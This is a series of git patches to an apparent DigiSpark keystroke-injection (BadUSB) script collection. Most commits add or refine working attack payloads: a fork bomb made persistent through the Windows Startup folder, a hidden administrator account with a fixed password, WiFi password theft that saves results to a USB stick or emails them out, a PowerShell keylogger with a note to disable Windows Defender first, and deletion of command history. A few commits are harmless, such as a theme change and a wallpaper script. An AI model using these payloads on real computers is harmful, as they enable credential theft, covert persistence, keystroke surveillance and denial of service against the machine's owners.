From 6b4ab96ca5b54682f98393f32ae3ae0b931e688f Mon Sep 17 00:00:00 2001 From: unknown Date: Sat, 24 Aug 2019 15:43:03 +0200 Subject: [PATCH 01/13] Added new fork bomb script and modified existing one --- Fork_Bomb/Fork_Bomb.ino | 2 +- Fork_Bomb/Persistent_Fork_Bomb.ino | 22 ++++++++++++++++++++++ Fork_Bomb/README.md | 21 +++++++++++++++++++++ 3 files changed, 44 insertions(+), 1 deletion(-) create mode 100644 Fork_Bomb/Persistent_Fork_Bomb.ino create mode 100644 Fork_Bomb/README.md diff --git a/Fork_Bomb/Fork_Bomb.ino b/Fork_Bomb/Fork_Bomb.ino index 6fdbbf2..8008a6e 100644 --- a/Fork_Bomb/Fork_Bomb.ino +++ b/Fork_Bomb/Fork_Bomb.ino @@ -19,7 +19,7 @@ void loop() { DigiKeyboard.sendKeyStroke(KEY_ENTER); //Run the fork bomb DigiKeyboard.delay(500); - DigiKeyboard.print(F("for /l %x in (1,1,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) do start")); + DigiKeyboard.print(F("for /l %x in (0,0,0) do start")); DigiKeyboard.sendKeyStroke(KEY_ENTER); for (;;) { /*Stops the digispark from running the scipt again*/ diff --git a/Fork_Bomb/Persistent_Fork_Bomb.ino b/Fork_Bomb/Persistent_Fork_Bomb.ino new file mode 100644 index 0000000..84071c8 --- /dev/null +++ b/Fork_Bomb/Persistent_Fork_Bomb.ino @@ -0,0 +1,22 @@ +//This script creates fork.bat file which is then run everytime the computer is powered on. +//Crated by Michyus +#include "DigiKeyboard.h" +void setup() { +} + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print("cmd"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print(F("echo for /l %%x in (0, 0, 0) do start > \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fork.bat\"")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print("exit"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + for(;;){ /*empty*/ } +} diff --git a/Fork_Bomb/README.md b/Fork_Bomb/README.md new file mode 100644 index 0000000..6340ca2 --- /dev/null +++ b/Fork_Bomb/README.md @@ -0,0 +1,21 @@ +# Fork_Bomb +## This script does the following: +1. Starts Command prompt +2. Resizes and changes colors of Command prompt +3. Executes fork bomb + +# Persistent_Fork_Bomb +## This script does the following: +1. Starts Command prompt +2. Creates fork.bat in Startup directory +3. Exits + +# Additional information: +- the `for /l %%x in (0, 0, 0) do start` command will run indefinetly if you want to limit number of cmd instances that will be started change like this: +```for /l %%x in (1, 1, 10) do start``` +- When using Persistent_Fork_Bomb it usually takes few seconds to get started, this depends on hw and how many other programs are in Startup directory. Still this might be hard to remove, if are unable to remove it using windows, try to boot another OS(for example debian from live USB https://www.debian.org/CD/live/), then connect it to the disk with Windows installed on it, and you should be able to remove fork.bat from Startup(This won't work if disk with Windows is encrypted). + +# Credits +- Fork_Bomb: BlackBoot +- Persistent_Fork_Bomb: https://github.com/Michyus + From ae9fcc91f9bf2f4c2b2f1a3581e728dc7017467a Mon Sep 17 00:00:00 2001 From: unknown Date: Sat, 24 Aug 2019 15:49:08 +0200 Subject: [PATCH 02/13] Typo in README.md --- Fork_Bomb/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Fork_Bomb/README.md b/Fork_Bomb/README.md index 6340ca2..ad16221 100644 --- a/Fork_Bomb/README.md +++ b/Fork_Bomb/README.md @@ -11,9 +11,9 @@ 3. Exits # Additional information: -- the `for /l %%x in (0, 0, 0) do start` command will run indefinetly if you want to limit number of cmd instances that will be started change like this: +- The `for /l %%x in (0, 0, 0) do start` command will run indefinitely. If you want to limit number of cmd instances change it like this(this will start 10 instances): ```for /l %%x in (1, 1, 10) do start``` -- When using Persistent_Fork_Bomb it usually takes few seconds to get started, this depends on hw and how many other programs are in Startup directory. Still this might be hard to remove, if are unable to remove it using windows, try to boot another OS(for example debian from live USB https://www.debian.org/CD/live/), then connect it to the disk with Windows installed on it, and you should be able to remove fork.bat from Startup(This won't work if disk with Windows is encrypted). +- When using Persistent_Fork_Bomb it usually takes few seconds to get started, this depends on hw and how many other programs are in Startup directory. Still this might be hard to remove. If you are unable to remove it using Windows, try to boot another OS(for example debian from live USB https://www.debian.org/CD/live/), then connect it to the disk with Windows installed on it, and you should be able to remove fork.bat from Startup(This won't work if disk with Windows is encrypted). # Credits - Fork_Bomb: BlackBoot From 4db19af07439b8de356281cf2fc0f819e95496b2 Mon Sep 17 00:00:00 2001 From: "e.kodikara" Date: Tue, 24 Sep 2019 14:57:49 +1000 Subject: [PATCH 03/13] Added hide option for created user --- Create_Account/Create_Account.ino | 22 +++++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/Create_Account/Create_Account.ino b/Create_Account/Create_Account.ino index 90bf040..0715e74 100644 --- a/Create_Account/Create_Account.ino +++ b/Create_Account/Create_Account.ino @@ -1,11 +1,9 @@ //This DigiSpark script creates new local user and adds it to "Administrators" group //Tested on Windows 10 with English(US) keyboard layout -//Created by Michyus +//Created by Michyus | Edited by Elshan #include "DigiKeyboard.h" void setup() { -} - -void loop() { + DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); @@ -20,7 +18,21 @@ void loop() { DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" ")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); + /* I assumed user already have powershell - Try to hide the user account from the login screen*/ + DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\'\" -Name \"SpecialAccounts\" ")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts'\" -Name \"UserList\" ")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.print(F("powershell New-ItemProperty -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\'\" -Name \"accName\" -Value \"0\" -PropertyType DWORD ")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + /* end hide user section */ DigiKeyboard.print("exit"); DigiKeyboard.sendKeyStroke(KEY_ENTER); - for(;;){ /*empty*/ } +} + +void loop() { } From f6203a4303d5d174e1a614bd8fc0f24062f6800b Mon Sep 17 00:00:00 2001 From: Tudor Velican Date: Wed, 23 Oct 2019 13:54:18 +0200 Subject: [PATCH 04/13] Increased delay before UAC prompt --- WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino b/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino index 6dc7ac8..60dd26e 100644 --- a/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino +++ b/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino @@ -16,7 +16,7 @@ void loop() { DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_A); - DigiKeyboard.delay(500); + DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;exit")); @@ -25,7 +25,7 @@ void loop() { DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_A); - DigiKeyboard.delay(500); + DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit")); @@ -34,7 +34,7 @@ void loop() { DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_A); - DigiKeyboard.delay(500); + DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit")); From e1b6d93c396310056d82ca43a40e1988a517dd0e Mon Sep 17 00:00:00 2001 From: Tudor Velican Date: Wed, 23 Oct 2019 13:56:13 +0200 Subject: [PATCH 05/13] Renamed DNSPoisoner to add .ino file extension --- DNS Poisoner/{DNS_Poisoner => DNS_Poisoner.ino} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename DNS Poisoner/{DNS_Poisoner => DNS_Poisoner.ino} (100%) diff --git a/DNS Poisoner/DNS_Poisoner b/DNS Poisoner/DNS_Poisoner.ino similarity index 100% rename from DNS Poisoner/DNS_Poisoner rename to DNS Poisoner/DNS_Poisoner.ino From f91f6d3b506de67f54ad472d0d21391a2130b1d2 Mon Sep 17 00:00:00 2001 From: apsecdev <51824126+apsecdev@users.noreply.github.com> Date: Mon, 18 Nov 2019 14:29:11 -0500 Subject: [PATCH 06/13] Update to Wifi_Profile_Grabber Altered the PS script to copy via drive label as opposed to hard coded drive letter. Also condensed some of the digi script into the PS script to further lessen the time exposed. --- WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) diff --git a/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino b/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino index d2db1ce..09c603e 100644 --- a/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino +++ b/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino @@ -1,4 +1,5 @@ -//This DigiSpark script writes the wireless network credentials to a csv file in a usb mounted at d:\ - change accordingly. +//This DigiSpark script writes the wireless network credentials to a csv file on a usb drive. +//Change "VolumeName='USB_DRIVE_LABEL'" to reflect your drive's label. //Credits to p0wc0w. #include "DigiKeyboard.h" void setup() { @@ -12,20 +13,8 @@ void loop() { DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); - DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv")); + DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\\windows\\temp\\temp.csv; cp c:\\windows\\temp\\temp.csv -destination $((gwmi -Query \\\"Select * from Win32_LogicalDisk where VolumeName='USB_DRIVE_LABEL'\\\").DeviceID); ri c:\\windows\\temp\\temp.csv -force")); DigiKeyboard.sendKeyStroke(KEY_ENTER); - DigiKeyboard.delay(3000); - DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); - DigiKeyboard.delay(200); - DigiKeyboard.print("cmd"); - DigiKeyboard.sendKeyStroke(KEY_ENTER); - DigiKeyboard.delay(500); - DigiKeyboard.print(F("copy temp.csv d:\\")); - DigiKeyboard.sendKeyStroke(KEY_ENTER); - DigiKeyboard.delay(500); - DigiKeyboard.print(F("del temp.csv")); - DigiKeyboard.sendKeyStroke(KEY_ENTER); - DigiKeyboard.delay(500); DigiKeyboard.print("exit"); DigiKeyboard.sendKeyStroke(KEY_ENTER); for(;;){ /*empty*/ } From e9ccc14f6ccb424e91dce0ff95b7da8e85e9f9ba Mon Sep 17 00:00:00 2001 From: CedArctic Date: Sat, 8 Feb 2020 18:30:01 +0200 Subject: [PATCH 07/13] Set theme jekyll-theme-architect --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index fc24e7a..3397c9a 100644 --- a/_config.yml +++ b/_config.yml @@ -1 +1 @@ -theme: jekyll-theme-hacker \ No newline at end of file +theme: jekyll-theme-architect \ No newline at end of file From bca14a8f2336404ac24b3104150a325a33758719 Mon Sep 17 00:00:00 2001 From: CedArctic Date: Sat, 11 Apr 2020 12:18:19 +0300 Subject: [PATCH 08/13] Update README.md --- README.md | 57 ++++++++++++++++++++++++++----------------------------- 1 file changed, 27 insertions(+), 30 deletions(-) diff --git a/README.md b/README.md index 9774da1..dbe6928 100644 --- a/README.md +++ b/README.md @@ -7,27 +7,21 @@ This is a set of hand-written DigiSpark sketches for the Arduino IDE that utiliz Configure the Arduino IDE for the DigiSpark using: https://digistump.com/wiki/digispark/tutorials/connecting or Seytonic's tutorial: https://youtu.be/fGmGBa-4cYQ. Then download one of scripts (sketches), open them with Arduino IDE, modify them if needed and upload them to the DigiSpark. # Script Descriptions ->RickRoll_Update : Plays Never Gonna Give you up while performing a fake windows update. ->WallpaperChanger : Downloads and applies a wallpaper via powershell. - ->Wallpaper_Prank : Takes a screenshot of the desktop, sets it as the wallpaper, hides desktop icons. - ->Talker : Opens up powershell and speaks out a message. - ->PowerShell Script Executer : Downloads and runs a powershell script. - ->WiFi_Profile_Grabber: Using cmd, extracts wifi profiles and saves the csv to the usb mounted on d:\ - ->WiFi_Profile_Mailer : Writes the wireless network credentials to a csv file and emails it. - ->Fork_Bomb : Opens up an obfuscated windows terminal and makes it multiply itself uncontrolably causing the machine to either lock or crash. - ->Rapid_Shell : Seamlessly executes metasploit payloads through powershell. - ->Reverse_Shell : Opens a reverse shell in 3 seconds. - ->Window_Jammer : Spams ALT + F4 and CTRL + W key combos to force close all active windows. +- **Create_Account**: Creates a new admin account and optionally hides it +- **DNS Poisoner**: Injects lines into the Windows hosts file and redirects URLs to wherever you want +- **Execute_Powershell_Script**: Downloads and executes a powershell script in hidden mode +- **Fork_Bomb**: Opens up an obfuscated windows terminal and makes it multiply itself uncontrolably causing the machine to either lock or crash +- **Rapid_Shell**: Seamlessly executes metasploit payloads through powershell +- **Reverse_Shell**: Opens a netcat reverse shell from a Windows machine to the host +- **RickRoll_Update**: Plays Never Gonna Give you up while performing a fake windows update +- **Silly_Mouse**: Switches primary and secondary mouse buttons, display mouse trails, decreases mouse speed and other mouse related pranks +- **Talker**: Makes the computer speak out a message using powershell +- **Wallpaper_Changer**: Downloads and applies a wallpaper via powershell. +- **Wallpaper_Prank**: Takes a screenshot of the desktop, sets it as the wallpaper, hides desktop icons +- **WiFi_Profile_Grabber**: Extracts wifi profiles and saves the csv to a USB drive +- **WiFi_Profile_Mailer**: Writes the wireless network credentials to a csv file and emails it +- **Window_Jammer**: Spams ALT + F4 and CTRL + W key combos to force close all active windows # See the scripts in action @@ -37,18 +31,21 @@ Click the gifs to see the full video [![Wallpaper Prank](https://j.gifs.com/32r7ER.gif)](https://www.youtube.com/watch?v=yHPRZnpxvks) -# Credits, contributors and resources: +# Contributors --samratashok for the Nishang reverse shell used in Reverse_Shell. +- **samratashok** +- **nassimosaz** +- **p0wc0w** +- **apsecdev** +- **BlackBoot** +- **Michyus** +- **Vel1khaN** +- **slipperyavocado** --nassimosaz for the Rapid_Shell script. +# Resources --p0wc0w for the original WiFi Grabber and Mailer Scripts. +- USB Rubber Ducky Documentation by hak5darren: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript --BlackBoot for the original fork bomb. +- Digistump DigiSpark Documentation: https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h --hak5darren for the USB Rubber Ducky Documentation: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript - --Digistump for the DigiSpark and their documentation: https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h - --usb.org for the USB Usage IDs on page 53: http://www.usb.org/developers/hidpage/Hut1_12v2.pdf +- USB Usage IDs by usb.org (page 53): http://www.usb.org/developers/hidpage/Hut1_12v2.pdf From a9ac65af2c6ad76a2637d53634c6293991c5c73d Mon Sep 17 00:00:00 2001 From: CedArctic Date: Mon, 13 Apr 2020 12:32:28 +0300 Subject: [PATCH 09/13] Added Keylogger Script --- Keylogger/Κeylogger.ino | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 Keylogger/Κeylogger.ino diff --git a/Keylogger/Κeylogger.ino b/Keylogger/Κeylogger.ino new file mode 100644 index 0000000..29d7876 --- /dev/null +++ b/Keylogger/Κeylogger.ino @@ -0,0 +1,29 @@ +/* + * This DigiKeyboard Script runs dasgoll's Powershell keylogger (https://gist.github.com/dasgoll/7ca1c059dd3b3fbc7277) + * for a predefined number of seconds ($timeoutSeconds) and saves the results to mykeypress.txt in + * APPDATA\Local\Temp\mykeypresses.txt. Feel free to chain this script with the logic in WiFi_Profile_Grabber or + * WiFi_Profile_Mailer to retrieve the results. + * + * WARNING: Windows Defender is able to detect this so you will have to chain this after a script disabling Windows Defender. + */ + +#include "DigiKeyboard.h" +void setup() { + //empty +} +void loop() { + // Open Powershell + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print("powershell"); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(5000); + + // Write Keylogger Function + DigiKeyboard.print(F("$code = {function My-Keypresses($Path=\"$env:temp\\mykeypress.txt\") \n{\n $signatures = @\'\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto, ExactSpelling=true)] \npublic static extern short GetAsyncKeyState(int virtualKeyCode); \n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int GetKeyboardState(byte[] keystate);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int MapVirtualKey(uint uCode, int uMapType);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);\n\'@\n\n $API = Add-Type -MemberDefinition $signatures -Name \'Win32\' -Namespace API -PassThru\n \n $null = New-Item -Path $Path -ItemType File -Force\n\n try\n {\n\n while ($true) {\n Start-Sleep -Milliseconds 40\n \n for ($ascii = 9; $ascii -le 254; $ascii++) {\n $state = $API::GetAsyncKeyState($ascii)\n\n if ($state -eq -32767) {\n $null = [console]::CapsLock\n\n $virtualKey = $API::MapVirtualKey($ascii, 3)\n\n $kbstate = New-Object Byte[] 256\n $checkkbstate = $API::GetKeyboardState($kbstate)\n\n $mychar = New-Object -TypeName System.Text.StringBuilder\n\n $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)\n\n if ($success) \n {\n [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) \n }\n }\n }\n }\n }\n finally\n {\n }\n}}; $timeoutSeconds = 10; $j = Start-Job -ScriptBlock $code; if (Wait-Job $j -Timeout $timeoutSeconds) { Receive-Job $j }; Remove-Job -force $j")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + for(;;){ /*empty*/ } +} From 8f9fc20746be013347608cc1a7a54f16592f2ae9 Mon Sep 17 00:00:00 2001 From: bernsteining <32954876+bernsteining@users.noreply.github.com> Date: Fri, 1 May 2020 23:10:34 +0200 Subject: [PATCH 10/13] Create Wallpaper_Changer_macOS.ino Add the feature to change the wallpaper on macOS --- .../Wallpaper_Changer_macOS | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 Wallpaper_Changer_macOS/Wallpaper_Changer_macOS diff --git a/Wallpaper_Changer_macOS/Wallpaper_Changer_macOS b/Wallpaper_Changer_macOS/Wallpaper_Changer_macOS new file mode 100644 index 0000000..783f06c --- /dev/null +++ b/Wallpaper_Changer_macOS/Wallpaper_Changer_macOS @@ -0,0 +1,28 @@ +// This script launches Spotlight to launch Terminal.app in order to download a picture, and sets it as a wallpaper, in less than 3 seconds. +// Tested on El Capitan (macOS 10.11.6) +#include "DigiKeyboard.h" +void setup() { +} + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT); + DigiKeyboard.delay(200); + DigiKeyboard.print("Terminal"); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(200); + DigiKeyboard.print("curl https://tr3.cbsistatic.com/hub/i/2014/05/15/f8964afd-bd82-4e0e-bcbe-e927363dcdc1/3b858e39e2cf183b878f54cad0073a67/codedoge.jpg > /Users/Shared/wallpaper.jpg"); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.print("osascript -e 'tell application \"Finder\" to set desktop picture to POSIX file \"/Users/Shared/wallpaper.jpg\"'"); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(200); + DigiKeyboard.sendKeyStroke(KEY_Q, MOD_GUI_LEFT); + + for (;;) { + /*Stops the digispark from running the scipt again*/ + } +} From 09524bc46be23e03ad1f8ce2cfdd5c12ecf5fd1e Mon Sep 17 00:00:00 2001 From: bernsteining <32954876+bernsteining@users.noreply.github.com> Date: Fri, 1 May 2020 23:11:24 +0200 Subject: [PATCH 11/13] Add README --- Wallpaper_Changer_macOS/README.md | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 Wallpaper_Changer_macOS/README.md diff --git a/Wallpaper_Changer_macOS/README.md b/Wallpaper_Changer_macOS/README.md new file mode 100644 index 0000000..63a5d8a --- /dev/null +++ b/Wallpaper_Changer_macOS/README.md @@ -0,0 +1,11 @@ +# macOS Wallpaper Changer + +This script launches Spotlight to launch Terminal.app in order to download a picture, and sets it as a wallpaper, in less than 3 seconds. + +Feel free to change the image link in the script in order to set another image. + +Changing the download path (/Users/Shared/wallpaper.jpg) may crash the AppleScript executed to change the wallpaper. + +## How to change macOS Wallpaper with the Terminal + +https://apple.stackexchange.com/questions/40644/how-do-i-change-desktop-background-with-a-terminal-command From 0ea9e275d9fb0ea22e4fec0014a9bda1885a12fe Mon Sep 17 00:00:00 2001 From: CedArctic Date: Mon, 4 May 2020 17:05:44 +0300 Subject: [PATCH 12/13] Update README.md Added Wallpaper Changer for macOS and bernsteining to contributors --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index dbe6928..c5ce2d7 100644 --- a/README.md +++ b/README.md @@ -18,6 +18,7 @@ Configure the Arduino IDE for the DigiSpark using: https://digistump.com/wiki/di - **Silly_Mouse**: Switches primary and secondary mouse buttons, display mouse trails, decreases mouse speed and other mouse related pranks - **Talker**: Makes the computer speak out a message using powershell - **Wallpaper_Changer**: Downloads and applies a wallpaper via powershell. +- **Wallpaper_Changer_macOS**: Downloads and applies a wallpaper via applescript on macOS. - **Wallpaper_Prank**: Takes a screenshot of the desktop, sets it as the wallpaper, hides desktop icons - **WiFi_Profile_Grabber**: Extracts wifi profiles and saves the csv to a USB drive - **WiFi_Profile_Mailer**: Writes the wireless network credentials to a csv file and emails it @@ -41,6 +42,7 @@ Click the gifs to see the full video - **Michyus** - **Vel1khaN** - **slipperyavocado** +- **bernsteining** # Resources From d297d78353b484708e630bf12b723e31e270a276 Mon Sep 17 00:00:00 2001 From: pino951 <56560644+pino951@users.noreply.github.com> Date: Mon, 25 May 2020 18:07:15 +0200 Subject: [PATCH 13/13] Fixed fakeupdate url for Win10 --- RickRoll_Update/RickRoll_Update.ino | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/RickRoll_Update/RickRoll_Update.ino b/RickRoll_Update/RickRoll_Update.ino index c0ee229..8177d66 100644 --- a/RickRoll_Update/RickRoll_Update.ino +++ b/RickRoll_Update/RickRoll_Update.ino @@ -13,7 +13,7 @@ void loop() { DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(3000); - DigiKeyboard.print("http://fakeupdate.net/win10u/index.html"); + DigiKeyboard.print("http://fakeupdate.net/win10ue"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(2000); DigiKeyboard.sendKeyStroke(KEY_F11);